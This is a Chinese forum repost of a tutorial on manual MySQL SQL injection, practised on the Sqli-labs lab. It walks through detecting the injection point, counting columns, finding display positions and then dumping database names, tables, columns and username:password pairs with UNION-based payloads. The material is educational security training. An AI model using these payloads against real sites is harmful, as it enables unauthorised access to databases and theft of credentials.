SQL Injection | MySQL 手工注入全流程

打印 上一主题 下一主题

主题 890|帖子 890|积分 2674

0x01:MySQL 手工注入 —— 理论篇

手工注入 MySQL 数据库,一般分为以下五个阶段,如下图所示:



  • 第一阶段 - 判定注入点: 在本阶段中,我们需要判定注入点的数据类型(数字型、字符型、搜索型、XX 型)与后端查询方式,并使用对应的 SQL 语句举行测试,判定出目标是否存在注入点。
  • 第二阶段 - 猜解列名数量: 当目标会将数据库内容回显(使用报错注入可以无视这步)时,我们还需要推测目标返回的数据库中的字段数量,以方便我们后续的注入。
  • 第三阶段 - 判定回显点: 知道了目标返回的字段数量后,我们需要判定这些字段中哪些内容是可以直接体现在页面上的(有回显点),以方便我们后续获取数据库中的内容。
  • 第四阶段 - 数据库信息网络: 在本阶段中,我们会利用第三阶段的回显点,使用各种 SQL 语句与函数,获取目标数据库的信息。
  • 第五阶段 - SQL 注入漏洞利用: 在本阶段,我们会利用之前网络到的目标数据库的信息,对目标实施更进一步的渗透攻击,如脱裤(将数据库内容全部扒拉下来)和写入木马(需要目标开放对应的权限)。
0x0101:MySQL 数据库查询语句

下面是我们需要提前相识的一些关于 MySQL 数据库的查询语句(基础版):
  1.  # 查数据库名,即查询当前数据库服务器中存在哪些数据库
  2.  select schema_name from information_schema.schemata;
  3.  # 查表名,即查询指定数据库中存在哪些数据表
  4.  select table_name from information_schema.tables where table_schema='数据库名';
  5.  # 查字段名,即查询指定数据库的某个数据表中存在哪些字段
  6.  select column_name from information_schema.columns where table_schema='数据库名' and table_name='数据表名';
复制代码
0x0102:MySQL 数据库查询函数

下面是我们需要提前相识的一些关于 MySQL 数据库的查询函数(基础版):
函数名函数剖析用法示例order by对指定列排序select * from table_name order by 3group_concat()将查询出来的结果用, 号分隔拼接起来select group_concat(schema_name) from information_schema.schemata;mid(字符串,起始位置(从1开始),取几位)按照指定规则截取字符串的内容select mid('12',2,1);user()获取当前登录的用户权限select user();version()数据库版本网络select version();database()查察当前正在操作的数据库名称select database();@@secure_file_priv查察当前数据库是否开启了读写权限。select @@secure_file_priv; 0x02:MySQL 手工注入 —— 实战篇

本节重点在于熟悉 SQL 注入流程,以及注入原理。训练靶场为 Sqli-labs(Less -2 GET - Error based - Intiger based),靶场的配套资源如下(附安装教程):
   实行工具准备
  

  • PHP 运行环境:phpstudy_x64_8.1.1.3.zip(PHP 7.X + Apache + MySQL)
  • SQLI LABS 靶场:sqli-labs-php7.zip(安装教程:SQLI LABS 靶场安装)
  0x0201:第一阶段 — 判定注入点


进入靶场,靶场提示 Please input the ID as parameter with numeric value 要我们输入一个数字型的 ID 作为参数举行查询,那我们就按它的意思传入 id 看看网页返回的结果:

如上,靶场返回了用户的 Login name 和 Password 参数,如果你试着多传递几个差别的值,你还能查询到更多的内容,好比这里,笔者传递了 ?id=3-1 成功获取了 id 为 2 的用户的数据,顺带提一个小思索题(为什么不能直接传递 ?id=1+1):

这里不卖关子了,因为在 GET 请求的 URL 中,+ 号通常被表明为空格,以是在上面这个例子中,你传递的 ?id=1+1 被后端剖析后,就变成了 ?id= 1 1,显着不对,以是当你想要传递 + 号给后端时,最好对 + 号举行 URL 编码,好比下面这个例子:

在上面的测试中,我们发现了,我们传递的数据其实是会被后端剖析执行的(MySQL 数据库能够执行一些简单的运算),其实到这里,我们已经可以基本判定这个 id 处存在注入点了。
通过上面测试的结果,我们可以尝试推测目标后端执行的 SQL 语句模板:
  1.  select * from users where id=$_GET['id'];
复制代码
这里的 $_GET['id'] 就是我们的注入点,我们传入的值会直接更换 $_GET['id'] 然后被传入后端数据库举行执行。
上面的测试,是针对数字型注入点的一种特殊的测试思绪,下面我这里再啰嗦一点,提供一个通用的测试思绪,即通过拼接布尔表达式,再根据页面返回的结果,判定其是否存在注入点(下面内容可以略过,本节的主要目标就是判定其是否存在注入点,上面的测试已经证实了目标存在注入点,这里只是提供一个通用的方法而已)。
针对我们推测的目标后端 SQL 语句模板,我们可以传递如下两条 Payload 举行测试:
  1.  测试 Payload 01: ?id=1 and 1=1 # 若存在注入点,则页面不会发生任何变化,否则页面异常
  2.  推测后端执行语句: select * from users where id=1 and 1=1;
复制代码

  1.  测试 Payload 02: ?id=1 and 1=0 # 若存在注入点,则页面不会返回任何值,因为 1=0 为假
  2.  推测后端执行语句: select * from users where id=1 and 1=0;
复制代码

   注意:在浏览器中,用户传递的内容会自动举行一次 URL 编码,好比空格会自动变为 %20。
  通过比对两次的输出结果,我们发现,当在原有的查询基础上添加一个恒真的 SQL 表达式时,查询结果不变;当加上一个恒为假的 SQL 表达式时,服务端未返回任何结果。由此我们可以确定,我们输入的内容成功带入到数据库中执行了,且目标未作任何过滤。以是 id 处存在 SQL 注入漏洞。
0x0202:第二阶段 — 猜解列名数量

在第一阶段的测试中,我们确定了 ?id= 处存在 SQL 注入漏洞,接下来,我们需要通过 order by (根据某一枚举行排序)函数确定服务端返回的数据库字段数量:
  1. 测试语句1 -> ?id=1 order by 1 -> 将返回的数据根据第1列进行排序,若返回的数据少于1列会报错
  2.  推测后端执行语句: select * from users where id=1 order by 1;
  3.  ​
  4.  测试语句2 -> ?id=1 order by 2 -> 将返回的数据根据第2列进行排序,若返回的数据少于2列会报错
  5.  推测后端执行语句: select * from users where id=1 order by 2;
  6.  ​
  7.  测试语句3 -> ?id=1 order by 3 -> 将返回的数据根据第3列进行排序,若返回的数据少于3列会报错
  8.  推测后端执行语句: select * from users where id=1 order by 3;
  9.  ​
  10.  测试语句4 -> ?id=1 order by 4 -> 将返回的数据根据第4列进行排序,若返回的数据少于4列会报错
  11.  推测后端执行语句: select * from users where id=1 order by 4;
  12.  ............................ 如果没遇到报错还得继续查下去 .............................
复制代码


如上,当我们要求数据库返回的数据按照第 4 列排序的时间,数据库返回了报错信息,说没有找到第 4 列;但是当我们要求其按照第 3 枚举行排序的时间,它成功返回了结果。由此,我们可以推断,目标数据库返回了 3 列数据。
0x0203:第三阶段 — 判定回显点

在上一阶段中,我们确定了目标数据库会返回三列值,接下来我们需要使用 union 团结查询,来判定这三列值中,哪个值会成为回显点 (其着实很多测试中,数据库返回的值不会直接回显回页面,这个时间,我们需要使用 “盲注” 技术 ,该技术笔者会在后续的笔记中讲解) 。不过在此之前,笔者先简单介绍以下团结查询:
   MySQL Union 团结查询
MySQL 的 UNION 操作符用于将两个或多个 SELECT 语句的结果聚集并成一个结果集。它通常用于从多个表中获取数据,大概从同一个表中根据差别的条件获取数据,并将这些数据合并到一起。
     示例:使用 UNION 操作符将两个 SELECT 语句的结果聚集并到一个结果集
 
  
  1.  mysql> select username, password from users union select 'key1', 1;
  2.  +----------+----------------------------------+
  3.  | username | password                         |
  4.  +----------+----------------------------------+
  5.  | admin    | e10adc3949ba59abbe56e057f20f883e |
  6.  | pikachu  | 670b14728ad9902aecba32e22fa4f6bd |
  7.  | test     | e99a18c428cb38d5f260853678922e03 |
  8.  | key1     | 1                                | # 注意这行,是我们通过 union select 'key1', 1; 额外添加上的。
  9.  +----------+----------------------------------+
  10.  4 rows in set (0.00 sec)
复制代码
      注意:MySQL Union 查询特性
   

  • 特性 1:Union 操作符会默认去除重复的行,这可能会增加一些计算开销。
  • 特性 2:Union 前面查询的语句和背面查询的语句结果互不干扰(不消在意数据类型)。
  • 特性 3:Union 前面查询语句的字段数量和背面查询语句的字段数量要一致!
    接下来,我们对靶场传入如下 Payload 举行测试:
  1.  测试语句: ?id=-1 union select 1,2,3
  2.  推测后端执行语句:select * from users where id=-1 union select 1,2,3;
复制代码
Payload 中传入 id=-1 是为了确保 select * from users where id=-1 查询不出任何值,导致目标可以返回后半段的查询结果,即 select 1,2,3 的查询结果 (为什么是 select 1,2,3?因为我们前面的测试中发现目标返回了 3 列结果,且 Union 需要确保前后两个 select 语句查询的结果字段数量要一致)

通过上面的回显结果,可以看到,页面终极回显了 select 1,2,3; 中 2 号位和 3 号位的信息,那这里的 2 号位和 3 号位就是终极的回显点,我们接下来就可以利用这两个回显点,举行数据库的信息搜集了。
0x0204:第四阶段 — 数据库信息网络

通过第三阶段,我们确定了 2 号位和 3 号位为数据的回显点。以是,接下来我们举行信息网络的语句就可以放在这两个位置上(任意一个都可以)。
在本阶段中,我们将会全面网络目标数据库的详细信息,信息网络的越详细,最后能举行攻击的手段就越多。
1. 用户权限网络

SQL 注入攻击,其实就是通过伪造正当的数据库用户,利用它们的权限,来对数据库举行正当的操作。以是第一步,我们就需要相识我们当前获取的数据库用户的权限,以此来相识我们到底能干嘛:
  1.  攻击 Payload: ?id=-1 union select 1,2,user()
  2.  推测后端执行语句:select * from users where id=-1 union select 1,2,user();
复制代码

传入测试语句后,在 3 号位回显了 root@localhost 证实了当前我们渗透的用户拥有 root 权限,可以对数据库举行任意的操作。
2. 数据库版本网络

MySQL version() 函数会返回当前数据库的版本信息。我们通常将 5.0 以上的版本称为高版本数据库,因为在这些高版本数据库中会内置 information_schema 这张数据表,这张表对我们后续的信息网络工作很紧张。如果渗透的是低版本的 MySQL 数据库,我们可以接纳字典暴力猜解的方式来尝试确定目标数据库中的信息。
  1. 攻击 Payload: ?id=-1 union select 1,2,version()
  2. 推测后端执行语句:select * from users where id=-1 union select 1,2,version();
复制代码

3. 数据库读写权限网络

在前面的信息网络中,我们发现了我们渗透获取的用户为 root,属于一个高权限用户了。以是我们就可以更进一步的尝试测试目标是否开启了文件的读写权限,如果目标开启了该权限,我们就可以通过 MySQL 数据库向目标指定文件夹中写入木马,进而控制整个服务器了。
在举行攻击之前,我先简单介绍一下 MySQL 的文件读写权限:在 MySQL 高版本(5.0 以上)中,添加了一个新的特性 secure_file_priv,该选项限定了 mysql 导出文件的权限。


  • 当 secure_file_priv='' 时,对 MySQL 的读写没有任何限定。
  • 当 secure_file_priv='NULL' 时,MySQL 不能对文件举行读写操作。
  • 当 secure_file_priv='文件路径' 时,MySQL 只能对目标路径下的文件举行读写。
  1. 攻击 Payload: ?id=-1 union select 1,2,@@secure_file_priv
  2. 推测后端执行语句:select * from users where id=-1 union select 1,2,@@secure_file_priv;
复制代码

目标的 secure_file_priv 设置为 NULL,证实目标关闭了文件读写的权限,以是这条路就走不通咯(笔者后续会专门出一期 “MySQL 高权限注入” 的内容,讲解怎样利用这种漏洞,这里就先略过了)。
0x0205:第五阶段 — SQL 注入漏洞利用

通过前面的四个阶段,我们已经对目标站点有了足够清晰的认识,并且已经可以总结出一个注入模板了:
  1. 攻击 Payload: ?id=-1 union select 1,2,攻击参数
复制代码
接下来,我们将会利用这个这个注入模板,尝试获取目标数据库中的一些敏感信息。
1. 获取数据库信息

通过前面对数据库信息的网络,我们可以知道,对方使用的是高版本的数据库,且我们拥有 root 权限。结合这两个信息,我们很轻松就可以推测出,我们拥有查察多个数据库的权限。
查察其它数据库,就需要知道这些数据库的名字,这里我们利用 information_schema 这个系统库,来获取目标数据库服务器中存在的数据库名:
  1. 攻击 Payload: ?id=-1 union select 1,2,group_concat('<br>',schema_name) from information_schema.schemata
  2. 推测后端执行语句:select * from users where id=-1 union select 1,2,group_concat('<br>',schema_name) from information_schema.schemata;
复制代码

如上,我们已经成功获取了目标数据库服务器中存在的其它数据库名称。
2. 获取数据表信息

接下来,我们以 pikachu 数据库为例,演示怎样网络 pikachu 数据库中的数据表信息,依旧是使用 information_schema 系统库:
  1. 攻击 Payload: ?id=-1 union select 1,2,group_concat('<br>',table_name) from information_schema.tables where table_schema='pikachu'
  2. 推测后端执行语句:select * from users where id=-1 union select 1,2,group_concat('<br>',table_name) from information_schema.tables where table_schema='pikachu'
复制代码

如上,我们已经成功获取了 pikachu 数据库中存在的数据表啦。
3. 获取数据表字段信息

知道了数据库,数据库里的数据表,我们还需要知道数据表中的字段,才气够随意的查询数据库中的内容,以是这一步,我们将通过 information_schema 系统库,获取 pikachu 中 users 这张表的字段信息:
  1. 攻击 Payload: ?id=-1 union select 1,2,group_concat('<br>',column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'
  2. 推测后端执行语句:select * from users where id=-1 union select 1,2,group_concat('<br>',column_name) from information_schema.columns where table_schema='pikachu' and table_name='users';
复制代码

如上,我们成功获得了 pikachu 数据库的 users 数据表中的字段信息,接下来,我们就可以任意查询这个数据库中的信息啦。
4. 获取数据表具体内容

通过前面的测试,我们已经完全掌握了 pikachu 数据库的 users 数据表的布局了,接下来,我们就可以构造语句读取数据表信息啦:
  1. 攻击 Payload: ?id=-1 union select 1,2,group_concat('<br>' ,username, ':', password) from pikachu.users
  2. 推测后端执行语句:select * from users where id=-1 union select 1,2,group_concat('<br>' ,username, ':', password) from pikachu.users;
复制代码

如上,我们已经成功读取到我们想要的数据啦。重复前面的四个步骤,我们就可以读取任意数据库的任意一张数据表中的信息了。
聪明如你,应该发现了,我们上面渗透的数据库其实不是当前站点使用的数据库,这就是高权限的一个上风,可以 “跨库查询”。至此,MySQL 手工注入的基本流程讲解完毕。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

刘俊凯

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表